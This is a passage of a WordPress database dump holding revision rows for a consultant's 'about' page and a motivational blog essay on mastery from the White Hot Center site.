(2304, 2, '2013-05-24 11:46:29', '2013-05-24 18:46:29', '', 'Thomson Dawson, Author and Speaker', 0, '', 'inherit', 'open', 'open', '', 'thomson-speaking-aiga', '', '', '2013-05-24 11:46:29', '2013-05-24 18:46:29', '', 143, 'http://www.whitehotcenter.com/wp-content/uploads/2009/04/thomson-speaking-AIGA.jpg', 0, 'attachment', 'image/jpeg', 0);
INSERT INTO `wp_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_category`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(2305, 2, '2012-03-01 21:33:14', '2012-03-02 04:33:14', '<h2><img class="size-full wp-image-246 alignnone" title="1015.nordoff-view" src="http://whc.fbdev.org/wp-content/uploads/2009/04/1015.nordoff-view.gif" alt="1015.nordoff-view" width="450" height="361" /></h2>\r\n<h2><strong>Contact me in the orange grove:</strong></h2>\r\nThomson Dawson\r\n<a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\n\r\n<strong>The White Hot Center\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 640 3920 x2 office\r\n</strong>\r\n<h1><span style="color: #ff8c00;"><strong><span style="color: #000000;">What I love to do:</span></strong></span></h1>\r\n<h2><span style="color: #000000;"><strong>Inspire, guide and create IDEAS to help creative entreprenuers and solo professionals gain more clarity and confidence to pursue their best opportunities to create more impact, influence and income.</strong></span></h2>\r\n<h2>How can I help you get to the next level?</h2>\r\n<strong><span style="color: #000000;">\r\nAbout Thomson Dawson</span></strong>\r\n<strong>Business Development Consultant to Creative Entrepreneurs\r\nand Solo Professionals</strong>\r\n\r\n<span style="color: #808080;"><strong>Starting his own business as a solo freelancer after graduating from Kendall School of Design in Grand Rapids, Michigan, Thomson </strong><strong>has been a successful creative entrepreneur in the marketing, communications and graphic design business for 30 years.</strong>\r\n</span>\r\n\r\n<span style="color: #808080;"><strong>He was the Founder and Principal of the Dawson+Company Creative Group, a leading corporate communications and design agency. Dawson+Company Creative Group was internationally recognized for its award winning work in corporate identity development, brand development, naming, corporate communications, marketing communications, branded environment design, and retail packaging and merchandising. </strong></span>\r\n\r\n<span style="color: #808080;"><strong>Within the first five years, he had built and established his creative business into one of the most respected and highly esteemed creative firms in the Mid-West. Over the course of his business career he has sold in millions of dollars in creative services and billings.</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Thomson has successfully served over 70 established and emerging client organizations in diverse industries in the US and Europe. His clients have included Amway, Acura, Brunswick, Coleman, Delhaize USA, Energizer, Fellowes, Haworth, Herman Miller, Hewlett-Packard, Honda, LALA USA, Jockey, Mannington Flooring, Micron Technology, Steelcase, Volkswagen, Wolverine Worldwide and X-Rite.</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Over the years, his work, and that of his firm, has been featured in all the leading trade publications, journals and award annuals for graphic design excellence</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Leveraging his significant business experience in the creative professions, Thomson founded the White Hot Center.com, an online resource of insight, inspiration, guidance, business development training and consulting for early stage creative entrepreneurs and solo professionals who seek more impact, influence and income in their creative business.\r\n</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Through the WHC Quantum Leap Workshops, Thomson provides creative entrepreneurs and their teams with personal and professional development, marketing and business development education, training and consulting.\r\n</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Thomson is an avid writer, speaker and thought leader on branding, enterprise strategy, marketing, value creation, professional and business development.  He is a contributing writer to many blogs and publications including the highly acclaimed Branding Strategy Insider blog, one of the 50 top branding blogs according to Advertising Age.</strong></span>\r\n\r\n<span style="color: #000000;"><strong>Have Thomson speak at your upcoming event:\r\n<span style="color: #e47906;">Thomson is available to speak at colleges, art &amp; design schools, universities, industry groups and trade associations, on diverse topics in marketing, business development, visual design, and on diverse topics within the area personal and professional development. Some talks are pro-bono, some for expenses, and others for a fee and expenses.  If you have an interest in having Thomson on the bill at one of your events, just send an email with your specifics, we can go from there.</span></strong></span>', 'Get to know Thomson Dawson better.', 0, '', 'inherit', 'open', 'open', '', '143-revision-v1', '', '', '2012-03-01 21:33:14', '2012-03-02 04:33:14', '', 143, 'http://www.whitehotcenter.com/2012/03/143-revision-52/', 0, 'revision', '', 0),
(2306, 2, '2013-05-24 11:47:03', '2013-05-24 18:47:03', '<h2><img class="size-full wp-image-246 alignnone" title="1015.nordoff-view" src="http://whc.fbdev.org/wp-content/uploads/2009/04/1015.nordoff-view.gif" alt="1015.nordoff-view" width="450" height="361" /></h2>\r\n<h2><strong>Contact me in the orange grove:</strong></h2>\r\nThomson Dawson\r\n<a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\n\r\n<strong>The White Hot Center\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 640 3920 x2 office\r\n</strong>\r\n<h1><span style="color: #ff8c00;"><strong><span style="color: #000000;">What I love to do:</span></strong></span></h1>\r\n<h2><span style="color: #000000;"><strong>Inspire, guide and create IDEAS to help creative entreprenuers and solo professionals gain more clarity and confidence to pursue their best opportunities to create more impact, influence and income.</strong></span></h2>\r\n<h2>How can I help you get to the next level?</h2>\r\n<strong><span style="color: #000000;">\r\nAbout Thomson Dawson</span></strong>\r\n<strong>Business Development Consultant to Creative Entrepreneurs\r\nand Solo Professionals</strong>\r\n\r\n<span style="color: #808080;"><strong>Starting his own business as a solo freelancer after graduating from Kendall School of Design in Grand Rapids, Michigan, Thomson </strong><strong>has been a successful creative entrepreneur in the marketing, communications and graphic design business for 30 years.</strong>\r\n</span>\r\n\r\n<span style="color: #808080;"><strong>He was the Founder and Principal of the Dawson+Company Creative Group, a leading corporate communications and design agency. Dawson+Company Creative Group was internationally recognized for its award winning work in corporate identity development, brand development, naming, corporate communications, marketing communications, branded environment design, and retail packaging and merchandising. </strong></span>\r\n\r\n<span style="color: #808080;"><strong>Within the first five years, he had built and established his creative business into one of the most respected and highly esteemed creative firms in the Mid-West. Over the course of his business career he has sold in millions of dollars in creative services and billings.</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Thomson has successfully served over 70 established and emerging client organizations in diverse industries in the US and Europe. His clients have included Amway, Acura, Brunswick, Coleman, Delhaize USA, Energizer, Fellowes, Haworth, Herman Miller, Hewlett-Packard, Honda, LALA USA, Jockey, Mannington Flooring, Micron Technology, Steelcase, Volkswagen, Wolverine Worldwide and X-Rite.</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Over the years, his work, and that of his firm, has been featured in all the leading trade publications, journals and award annuals for graphic design excellence</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Leveraging his significant business experience in the creative professions, Thomson founded the White Hot Center.com, an online resource of insight, inspiration, guidance, business development training and consulting for early stage creative entrepreneurs and solo professionals who seek more impact, influence and income in their creative business.\r\n</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Through the WHC Quantum Leap Workshops, Thomson provides creative entrepreneurs and their teams with personal and professional development, marketing and business development education, training and consulting.\r\n</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Thomson is an avid writer, speaker and thought leader on branding, enterprise strategy, marketing, value creation, professional and business development.  He is a contributing writer to many blogs and publications including the highly acclaimed Branding Strategy Insider blog, one of the 50 top branding blogs according to Advertising Age.</strong></span>\r\n\r\n<img class="alignnone size-full wp-image-2304" title="Thomson Dawson, Author and Speaker" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-speaking-AIGA.jpg" alt="" width="495" height="270" />\r\n\r\n<span style="color: #000000;"><strong>Have Thomson speak at your upcoming event:\r\n<span style="color: #e47906;">Thomson is available to speak at colleges, art &amp; design schools, universities, industry groups and trade associations, on diverse topics in marketing, business development, visual design, and on diverse topics within the area personal and professional development. Some talks are pro-bono, some for expenses, and others for a fee and expenses.  If you have an interest in having Thomson on the bill at one of your events, just send an email with your specifics, we can go from there.</span></strong></span>', 'Get to know Thomson Dawson better.', 0, '', 'inherit', 'open', 'open', '', '143-revision-v1', '', '', '2013-05-24 11:47:03', '2013-05-24 18:47:03', '', 143, 'http://www.whitehotcenter.com/2013/05/143-revision-53/', 0, 'revision', '', 0),
(2308, 2, '2013-05-28 12:37:42', '2013-05-28 19:37:42', '', 'In Search of Mastery', 0, '', 'inherit', 'open', 'open', '', 'mastery', '', '', '2013-05-28 12:37:42', '2013-05-28 19:37:42', '', 2307, 'http://www.whitehotcenter.com/wp-content/uploads/2013/05/Mastery.jpg', 0, 'attachment', 'image/jpeg', 0),
(2309, 2, '2013-05-28 12:44:24', '2013-05-28 19:44:24', '<img class="alignnone size-full wp-image-2308" title="In Search of Mastery" src="http://whc.fbdev.org/wp-content/uploads/2013/05/Mastery.jpg" alt="" width="495" height="371" />\n<h1><span style="color: #808080;">The idea of mastery is an intriguing one. To become a master at your art, your profession, and your business is a level we all aspire to, but there’s more to mastery than putting in your 10,000 hours.</span></h1>\nAre you a master? Are you on the path to mastery in whatever is your calling?  More and more entrepreneurs are thinking about mastery these days. As well they should–as mastery is essential for business success in the ultra-competitive global economy we find ourselves in.\n\nMastery is a trendy topic too. Our popular business literature is full of proclamations of what mastery is and requires of people and organizations. I am particularly amused with the accepted idea that mastery is simply the result of 10,000 hours of practice. After that amount of time invested you’re considered to be a master.  Mastery requires more than investing time because, in itself, it’s timeless.\n\nHow much time does it take to be a master at living your life on your terms?\n\nI certainly have spent significantly longer than 10,000 hours learning about that.  Mastery of one''s own life is life’s work and there is no limit to your potential level of mastery- it’s going to take an entire lifetime.\n\n<strong>Claiming your own mastery is risky business – but do it anyway! </strong>\n\nThe trouble with our culture is if you self-proclaim your mastery, you run the risk of others judging you as nothing more than a master of your own conceit. History has many examples of the fates of self-proclaimed “masters”. The conventional wisdom of cultures down through the ages has demonstrated little tolerance for such people. Consequently people have little incentive to become masters of their destiny. It’s safer to fit in, be nice and maintain a steady job with your weekends free.\n<h2>You become the master of your destiny the very second you proclaim it. Nobody is going to acknowledge or bestow on you the powers of mastery.</h2>\nIt’s a choice you make for yourself about the quality of your presence demonstrated through your own thoughts, actions and behavior. And you can’t behave like a master until you recognize and appreciate the source of your own mastery–which has been with you since your birth.\n\n<strong>The signs that guide the way.</strong>\n\nWhether you know it or not, you are the hero of your life journey. The hero’s journey still requires navigational aides or signs along the way that reinforce the belief and self-awareness that you are indeed walking your own master’s path. Like a lighthouse on a rocky shore, this navigational beacon will never come from the acknowledgments of the outside world. The direction signs come from within you. I like to call it your  “true north” or “oneliness”– a.k.a., your purpose or reason for being.\n\nOn the road to mastery, to keep the compass needle pointing true north, you must acknowledge and follow your own natural inclinations and listen to the voice of your intuition. For many people, it’s a voice stilled by decades of conformity, shoe-horning their life to fit into somebody else’s mold or prescription for how things ought to be done. Parents, teachers, bosses, the culture, even our own failures conspire to divert us from trusting the path of our own natural inclinations.\n\nParadoxically, life mastery is unattainable. Mastery is a life-long process, a path of fuller and greater expression to be traveled indefinitely… it’s not a status level or place of arrival. There’s only one place we are all destined for– oblivion (whatever that means to you).  Assuming you agree with that premise, the only thing there is to master is your own hero’s journey. How ever long it takes. Life’s mastery (whatever the term means to you) is your Life’s Work… you’re here to be the fullest expression of your life. That’s your job, your real business–to forever pursue the mastery of your own calling.\n\n<strong>After you, they threw out the mold.</strong>\n\nThere is only one you. There has never before been one like you, nor will their ever be another like you. You are forever the only one of you. Embedded in your DNA are the unique, never-to be-duplicated codes for every aspect of your unique potential.\n\nThis includes, of course, your magnificent brain– a complex and sophisticated reality producing interface device that is the product of 6 million years of evolution. And you have come to this life with the code of your natural inclinations hard-wired right into your amazing brain. Your brain is capable of constructing any formless idea of your limitless potential. Your natural inclinations are the clues for your masterful achievements. You have only to discover and use them.\n\nThese natural inclinations must have their due or your depression and unhappiness will have no end. Success will always be elusive.\n\n<strong>Let’s get down to business.</strong>\n\nMost entrepreneurs and solo professionals are stuck on a plateau of one sort or another–a place where they experience resistance, or the stagnation of a fuller expression of their natural inclinations. Many believe mastery is, for whatever reason, beyond their grasp.\n\nEverything in nature is governed by the “law of increase”, likewise, mastery will require you to continually increase your knowledge and your contribution of value to the world. Like gravity, this creative force within you is always on. It’s absolutely imperative that you spend all your “time” engaged in your natural inclinations–those thoughts, ideas, activities and skills that bring you a never-ending source of energy, creativity and joy to innovate new value for your customers and clients.\n\nWhen you follow the code of your embedded natural inclinations, embrace the value of your oneliness, and commit yourself to mastery of your Life’s Work, you’ll find the plateaus of your business or professional life as nothing more than the welcome stairway to greater expression and fulfillment.  Your realization of your mastery becomes an ever expanding and self-fulfilling prophecy.', 'In Search of Mastery', 0, '', 'inherit', 'open', 'open', '', '2307-revision', '', '', '2013-05-28 12:44:24', '2013-05-28 19:44:24', '', 2307, 'http://www.whitehotcenter.com/2013/05/2307-revision/', 0, 'revision', '', 0),
(2310, 2, '2013-05-28 12:45:31', '2013-05-28 19:45:31', '<img class="alignnone size-full wp-image-2308" title="In Search of Mastery" src="http://whc.fbdev.org/wp-content/uploads/2013/05/Mastery.jpg" alt="" width="495" height="371" />\r\n<h1><span style="color: #808080;">The idea of mastery is an intriguing one. To become a master at your art, your profession, and your business is a level we all aspire to, but there’s more to mastery than putting in your 10,000 hours.</span></h1>\r\nAre you a master? Are you on the path to mastery in whatever is your calling?  More and more entrepreneurs are thinking about mastery these days. As well they should–as mastery is essential for business success in the ultra-competitive global economy we find ourselves in.\r\n\r\nMastery is a trendy topic too. Our popular business literature is full of proclamations of what mastery is and requires of people and organizations. I am particularly amused with the accepted idea that mastery is simply the result of 10,000 hours of practice. After that amount of time invested you’re considered to be a master.  Mastery requires more than investing time because, in itself, it’s timeless.\r\n\r\nHow much time does it take to be a master at living your life on your terms?\r\n\r\nI certainly have spent significantly longer than 10,000 hours learning about that.  Mastery of one''s own life is life’s work and there is no limit to your potential level of mastery- it’s going to take an entire lifetime.\r\n\r\n<strong>Claiming your own mastery is risky business – but do it anyway! </strong>\r\n\r\nThe trouble with our culture is if you self-proclaim your mastery, you run the risk of others judging you as nothing more than a master of your own conceit. History has many examples of the fates of self-proclaimed “masters”. The conventional wisdom of cultures down through the ages has demonstrated little tolerance for such people. Consequently people have little incentive to become masters of their destiny. It’s safer to fit in, be nice and maintain a steady job with your weekends free.\r\n<h2>You become the master of your destiny the very second you proclaim it. Nobody is going to acknowledge or bestow on you the powers of mastery.</h2>\r\nIt’s a choice you make for yourself about the quality of your presence demonstrated through your own thoughts, actions and behavior. And you can’t behave like a master until you recognize and appreciate the source of your own mastery–which has been with you since your birth.\r\n\r\n<strong>The signs that guide the way.</strong>\r\n\r\nWhether you know it or not, you are the hero of your life journey. The hero’s journey still requires navigational aides or signs along the way that reinforce the belief and self-awareness that you are indeed walking your own master’s path. Like a lighthouse on a rocky shore, this navigational beacon will never come from the acknowledgments of the outside world. The direction signs come from within you. I like to call it your  “true north” or “oneliness”– a.k.a., your purpose or reason for being.\r\n\r\nOn the road to mastery, to keep the compass needle pointing true north, you must acknowledge and follow your own natural inclinations and listen to the voice of your intuition. For many people, it’s a voice stilled by decades of conformity, shoe-horning their life to fit into somebody else’s mold or prescription for how things ought to be done. Parents, teachers, bosses, the culture, even our own failures conspire to divert us from trusting the path of our own natural inclinations.\r\n\r\nParadoxically, life mastery is unattainable. Mastery is a life-long process, a path of fuller and greater expression to be traveled indefinitely… it’s not a status level or place of arrival. There’s only one place we are all destined for– oblivion (whatever that means to you).  Assuming you agree with that premise, the only thing there is to master is your own hero’s journey. How ever long it takes. Life’s mastery (whatever the term means to you) is your Life’s Work… you’re here to be the fullest expression of your life. That’s your job, your real business–to forever pursue the mastery of your own calling.\r\n\r\n<strong>After you, they threw out the mold.</strong>\r\n\r\nThere is only one you. There has never before been one like you, nor will their ever be another like you. You are forever the only one of you. Embedded in your DNA are the unique, never-to be-duplicated codes for every aspect of your unique potential.\r\n\r\nThis includes, of course, your magnificent brain– a complex and sophisticated reality producing interface device that is the product of 6 million years of evolution. And you have come to this life with the code of your natural inclinations hard-wired right into your amazing brain. Your brain is capable of constructing any formless idea of your limitless potential. Your natural inclinations are the clues for your masterful achievements. You have only to discover and use them.\r\n\r\nThese natural inclinations must have their due or your depression and unhappiness will have no end. Success will always be elusive.\r\n\r\n<strong>Let’s get down to business.</strong>\r\n\r\nMost entrepreneurs and solo professionals are stuck on a plateau of one sort or another–a place where they experience resistance, or the stagnation of a fuller expression of their natural inclinations. Many believe mastery is, for whatever reason, beyond their grasp.\r\n\r\nEverything in nature is governed by the “law of increase”, likewise, mastery will require you to continually increase your knowledge and your contribution of value to the world. Like gravity, this creative force within you is always on. It’s absolutely imperative that you spend all your “time” engaged in your natural inclinations–those thoughts, ideas, activities and skills that bring you a never-ending source of energy, creativity and joy to innovate new value for your customers and clients.\r\n\r\nWhen you follow the code of your embedded natural inclinations, embrace the value of your oneliness, and commit yourself to mastery of your Life’s Work, you’ll find the plateaus of your business or professional life as nothing more than the welcome stairway to greater expression and fulfillment.  Your realization of your mastery becomes an ever expanding and self-fulfilling prophecy.', 'In Search of Mastery', 0, '', 'inherit', 'open', 'open', '', '2307-revision-2', '', '', '2013-05-28 12:45:31', '2013-05-28 19:45:31', '', 2307, 'http://www.whitehotcenter.com/2013/05/2307-revision-2/', 0, 'revision', '', 0),
(2311, 2, '2013-05-28 12:45:40', '2013-05-28 19:45:40', '<img class="alignnone size-full wp-image-2308" title="In Search of Mastery" src="http://whc.fbdev.org/wp-content/uploads/2013/05/Mastery.jpg" alt="" width="495" height="371" />\r\n<h1><span style="color: #808080;">The idea of mastery is an intriguing one. To become a master at your art, your profession, and your business is a level we all aspire to, but there’s more to mastery than putting in your 10,000 hours.</span></h1>\r\nAre you a master? Are you on the path to mastery in whatever is your calling?  More and more entrepreneurs are thinking about mastery these days. As well they should–as mastery is essential for business success in the ultra-competitive global economy we find ourselves in.\r\n\r\nMastery is a trendy topic too. Our popular business literature is full of proclamations of what mastery is and requires of people and organizations. I am particularly amused with the accepted idea that mastery is simply the result of 10,000 hours of practice. After that amount of time invested you’re considered to be a master.  Mastery requires more than investing time because, in itself, it’s timeless.\r\n\r\nHow much time does it take to be a master at living your life on your terms?\r\n\r\nI certainly have spent significantly longer than 10,000 hours learning about that.  Mastery of one''s own life is life’s work and there is no limit to your potential level of mastery- it’s going to take an entire lifetime.\r\n\r\n<strong>Claiming your own mastery is risky business – but do it anyway! </strong>\r\n\r\nThe trouble with our culture is if you self-proclaim your mastery, you run the risk of others judging you as nothing more than a master of your own conceit. History has many examples of the fates of self-proclaimed “masters”. The conventional wisdom of cultures down through the ages has demonstrated little tolerance for such people. Consequently people have little incentive to become masters of their destiny. It’s safer to fit in, be nice and maintain a steady job with your weekends free.\r\n<h2>You become the master of your destiny the very second you proclaim it. Nobody is going to acknowledge or bestow on you the powers of mastery.</h2>\r\nIt’s a choice you make for yourself about the quality of your presence demonstrated through your own thoughts, actions and behavior. And you can’t behave like a master until you recognize and appreciate the source of your own mastery–which has been with you since your birth.\r\n\r\n<strong>The signs that guide the way.</strong>\r\n\r\nWhether you know it or not, you are the hero of your life journey. The hero’s journey still requires navigational aides or signs along the way that reinforce the belief and self-awareness that you are indeed walking your own master’s path. Like a lighthouse on a rocky shore, this navigational beacon will never come from the acknowledgments of the outside world. The direction signs come from within you. I like to call it your  “true north” or “oneliness”– a.k.a., your purpose or reason for being.\r\n\r\nOn the road to mastery, to keep the compass needle pointing true north, you must acknowledge and follow your own natural inclinations and listen to the voice of your intuition. For many people, it’s a voice stilled by decades of conformity, shoe-horning their life to fit into somebody else’s mold or prescription for how things ought to be done. Parents, teachers, bosses, the culture, even our own failures conspire to divert us from trusting the path of our own natural inclinations.\r\n\r\nParadoxically, life mastery is unattainable. Mastery is a life-long process, a path of fuller and greater expression to be traveled indefinitely… it’s not a status level or place of arrival. There’s only one place we are all destined for– oblivion (whatever that means to you).  Assuming you agree with that premise, the only thing there is to master is your own hero’s journey. How ever long it takes. Life’s mastery (whatever the term means to you) is your Life’s Work… you’re here to be the fullest expression of your life. That’s your job, your real business–to forever pursue the mastery of your own calling.\r\n\r\n<strong>After you, they threw out the mold.</strong>\r\n\r\nThere is only one you. There has never before been one like you, nor will their ever be another like you. You are forever the only one of you. Embedded in your DNA are the unique, never-to be-duplicated codes for every aspect of your unique potential.\r\n\r\nThis includes, of course, your magnificent brain– a complex and sophisticated reality producing interface device that is the product of 6 million years of evolution. And you have come to this life with the code of your natural inclinations hard-wired right into your amazing brain. Your brain is capable of constructing any formless idea of your limitless potential. Your natural inclinations are the clues for your masterful achievements. You have only to discover and use them.\r\n\r\nThese natural inclinations must have their due or your depression and unhappiness will have no end. Success will always be elusive.\r\n\r\n<strong>Let’s get down to business.</strong>\r\n\r\nMost entrepreneurs and solo professionals are stuck on a plateau of one sort or another–a place where they experience resistance, or the stagnation of a fuller expression of their natural inclinations. Many believe mastery is, for whatever reason, beyond their grasp.\r\n\r\nEverything in nature is governed by the “law of increase”, likewise, mastery will require you to continually increase your knowledge and your contribution of value to the world. Like gravity, this creative force within you is always on. It’s absolutely imperative that you spend all your “time” engaged in your natural inclinations–those thoughts, ideas, activities and skills that bring you a never-ending source of energy, creativity and joy to innovate new value for your customers and clients.\r\n\r\nWhen you follow the code of your embedded natural inclinations, embrace the value of your oneliness, and commit yourself to mastery of your Life’s Work, you’ll find the plateaus of your business or professional life as nothing more than the welcome stairway to greater expression and fulfillment.  Your realization of your mastery becomes an ever expanding and self-fulfilling prophecy.', 'In Search of Mastery', 0, '', 'inherit', 'open', 'open', '', '2307-revision-3', '', '', '2013-05-28 12:45:40', '2013-05-28 19:45:40', '', 2307, 'http://www.whitehotcenter.com/2013/05/2307-revision-3/', 0, 'revision', '', 0),
(2312, 2, '2013-05-28 12:51:22', '2013-05-28 19:51:22', '<img class="alignnone size-full wp-image-2308" title="In Search of Mastery" src="http://whc.fbdev.org/wp-content/uploads/2013/05/Mastery.jpg" alt="" width="495" height="371" />\r\n<h1><span style="color: #808080;">The idea of mastery is an intriguing one. To become a master at your art, your profession, and your business is a level we all aspire to, but there’s more to mastery than putting in your 10,000 hours.</span></h1>\r\nAre you a master? Are you on the path to mastery in whatever is your calling?  More and more entrepreneurs are thinking about mastery these days. As well they should–as mastery is essential for business success in the ultra-competitive global economy we find ourselves in.\r\n\r\nMastery is a trendy topic too. Our popular business literature is full of proclamations of what mastery is and requires of people and organizations. I am particularly amused with the accepted idea that mastery is simply the result of 10,000 hours of practice. After that amount of time invested you’re considered to be a master.  Mastery requires more than investing time because, in itself, it’s timeless.\r\n\r\nHow much time does it take to be a master at living your life on your terms?\r\n\r\nI certainly have spent significantly longer than 10,000 hours learning about that.  Mastery of one''s own life is life’s work and there is no limit to your potential level of mastery- it’s going to take an entire lifetime.\r\n\r\n<strong>Claiming your own mastery is risky business – but do it anyway! </strong>\r\n\r\nThe trouble with our culture is if you self-proclaim your mastery, you run the risk of others judging you as nothing more than a master of your own conceit. History has many examples of the fates of self-proclaimed “masters”. The conventional wisdom of cultures down through the ages has demonstrated little tolerance for such people. Consequently people have little incentive to become masters of their destiny. It’s safer to fit in, be nice and maintain a steady job with your weekends free.\r\n<h2>You become the master of your destiny the very second you proclaim it. Nobody is going to acknowledge or bestow on you the powers of mastery.</h2>\r\nMastery is a choice you make for yourself about the quality of your presence demonstrated through your own thoughts, actions and behavior. And you can’t behave like a master until you recognize and appreciate the source of your own mastery–which has been with you since your birth.\r\n\r\n<strong>The signs that guide the way.</strong>\r\n\r\nWhether you know it or not, you are the hero of your life journey. The hero’s journey still requires navigational aides or signs along the way that reinforce the belief and self-awareness that you are indeed walking your own master’s path. Like a lighthouse on a rocky shore, this navigational beacon will never come from the acknowledgments of the outside world. The direction signs come from within you. I like to call it your  “true north” or “oneliness”– a.k.a., your purpose or reason for being.\r\n\r\nOn the road to mastery, to keep the compass needle pointing true north, you must acknowledge and follow your own natural inclinations and listen to the voice of your intuition. For many people, it’s a voice stilled by decades of conformity, shoe-horning their life to fit into somebody else’s mold or prescription for how things ought to be done. Parents, teachers, bosses, the culture, even our own failures conspire to divert us from trusting the path of our own natural inclinations.\r\n\r\nParadoxically, life mastery is unattainable. Mastery is a life-long process, a path of fuller and greater expression to be traveled indefinitely… it’s not a status level or place of arrival. There’s only one place we are all destined for– oblivion (whatever that means to you).  Assuming you agree with that premise, the only thing there is to master is your own hero’s journey. How ever long it takes. Life’s mastery (whatever the term means to you) is your Life’s Work… you’re here to be the fullest expression of your life. That’s your job, your real business–to forever pursue the mastery of your own calling.\r\n\r\n<strong>After you, they threw out the mold.</strong>\r\n\r\nThere is only one you. There has never before been one like you, nor will their ever be another like you. You are forever the only one of you. Embedded in your DNA are the unique, never-to be-duplicated codes for every aspect of your unique potential.\r\n\r\nThis includes, of course, your magnificent brain– a complex and sophisticated reality producing interface device that is the product of 6 million years of evolution. And you have come to this life with the code of your natural inclinations hard-wired right into your amazing brain. Your brain is capable of constructing any formless idea of your limitless potential. Your natural inclinations are the clues for your masterful achievements. You have only to discover and use them.\r\n\r\nThese natural inclinations must have their due or your depression and unhappiness will have no end. Success will always be elusive.\r\n\r\n<strong>Let’s get down to business.</strong>\r\n\r\nMost entrepreneurs and solo professionals are stuck on a plateau of one sort or another–a place where they experience resistance, or the stagnation of a fuller expression of their natural inclinations. Many believe mastery is, for whatever reason, beyond their grasp.\r\n\r\nEverything in nature is governed by the “law of increase”, likewise, mastery will require you to continually increase your knowledge and your contribution of value to the world. Like gravity, this creative force within you is always on. It’s absolutely imperative that you spend all your “time” engaged in your natural inclinations–those thoughts, ideas, activities and skills that bring you a never-ending source of energy, creativity and joy to innovate new value for your customers and clients.\r\n\r\nWhen you follow the code of your embedded natural inclinations, embrace the value of your oneliness, and commit yourself to mastery of your Life’s Work, you’ll find the plateaus of your business or professional life as nothing more than the welcome stairway to greater expression and fulfillment.  Your realization of your mastery becomes an ever expanding and self-fulfilling prophecy.', 'In Search of Mastery', 0, '', 'inherit', 'open', 'open', '', '2307-revision-4', '', '', '2013-05-28 12:51:22', '2013-05-28 19:51:22', '', 2307, 'http://www.whitehotcenter.com/2013/05/2307-revision-4/', 0, 'revision', '', 0),
(2313, 2, '2013-05-28 12:51:31', '2013-05-28 19:51:31', '<img class="alignnone size-full wp-image-2308" title="In Search of Mastery" src="http://whc.fbdev.org/wp-content/uploads/2013/05/Mastery.jpg" alt="" width="495" height="371" />\r\n<h1><span style="color: #808080;">The idea of mastery is an intriguing one. To become a master at your art, your profession, and your business is a level we all aspire to, but there’s more to mastery than putting in your 10,000 hours.</span></h1>\r\nAre you a master? Are you on the path to mastery in whatever is your calling?  More and more entrepreneurs are thinking about mastery these days. As well they should–as mastery is essential for business success in the ultra-competitive global economy we find ourselves in.\r\n\r\nMastery is a trendy topic too. Our popular business literature is full of proclamations of what mastery is and requires of people and organizations. I am particularly amused with the accepted idea that mastery is simply the result of 10,000 hours of practice. After that amount of time invested you’re considered to be a master.  Mastery requires more than investing time because, in itself, it’s timeless.\r\n\r\nHow much time does it take to be a master at living your life on your terms?\r\n\r\nI certainly have spent significantly longer than 10,000 hours learning about that.  Mastery of one''s own life is life’s work and there is no limit to your potential level of mastery- it’s going to take an entire lifetime.\r\n\r\n<strong>Claiming your own mastery is risky business – but do it anyway! </strong>\r\n\r\nThe trouble with our culture is if you self-proclaim your mastery, you run the risk of others judging you as nothing more than a master of your own conceit. History has many examples of the fates of self-proclaimed “masters”. The conventional wisdom of cultures down through the ages has demonstrated little tolerance for such people. Consequently people have little incentive to become masters of their destiny. It’s safer to fit in, be nice and maintain a steady job with your weekends free.\r\n<h2>You become the master of your destiny the very second you proclaim it. Nobody is going to acknowledge or bestow on you the powers of mastery.</h2>\r\nMastery is a choice you make for yourself about the quality of your presence demonstrated through your own thoughts, actions and behavior. And you can’t behave like a master until you recognize and appreciate the source of your own mastery–which has been with you since your birth.\r\n\r\n<strong>The signs that guide the way.</strong>\r\n\r\nWhether you know it or not, you are the hero of your life journey. The hero’s journey still requires navigational aides or signs along the way that reinforce the belief and self-awareness that you are indeed walking your own master’s path. Like a lighthouse on a rocky shore, this navigational beacon will never come from the acknowledgments of the outside world. The direction signs come from within you. I like to call it your  “true north” or “oneliness”– a.k.a., your purpose or reason for being.\r\n\r\nOn the road to mastery, to keep the compass needle pointing true north, you must acknowledge and follow your own natural inclinations and listen to the voice of your intuition. For many people, it’s a voice stilled by decades of conformity, shoe-horning their life to fit into somebody else’s mold or prescription for how things ought to be done. Parents, teachers, bosses, the culture, even our own failures conspire to divert us from trusting the path of our own natural inclinations.\r\n\r\nParadoxically, life mastery is unattainable. Mastery is a life-long process, a path of fuller and greater expression to be traveled indefinitely… it’s not a status level or place of arrival. There’s only one place we are all destined for– oblivion (whatever that means to you).  Assuming you agree with that premise, the only thing there is to master is your own hero’s journey. How ever long it takes. Life’s mastery (whatever the term means to you) is your Life’s Work… you’re here to be the fullest expression of your life. That’s your job, your real business–to forever pursue the mastery of your own calling.\r\n\r\n<strong>After you, they threw out the mold.</strong>\r\n\r\nThere is only one you. There has never before been one like you, nor will their ever be another like you. You are forever the only one of you. Embedded in your DNA are the unique, never-to be-duplicated codes for every aspect of your unique potential.\r\n\r\nThis includes, of course, your magnificent brain– a complex and sophisticated reality producing interface device that is the product of 6 million years of evolution. And you have come to this life with the code of your natural inclinations hard-wired right into your amazing brain. Your brain is capable of constructing any formless idea of your limitless potential. Your natural inclinations are the clues for your masterful achievements. You have only to discover and use them.\r\n\r\nThese natural inclinations must have their due or your depression and unhappiness will have no end. Success will always be elusive.\r\n\r\n<strong>Let’s get down to business.</strong>\r\n\r\nMost entrepreneurs and solo professionals are stuck on a plateau of one sort or another–a 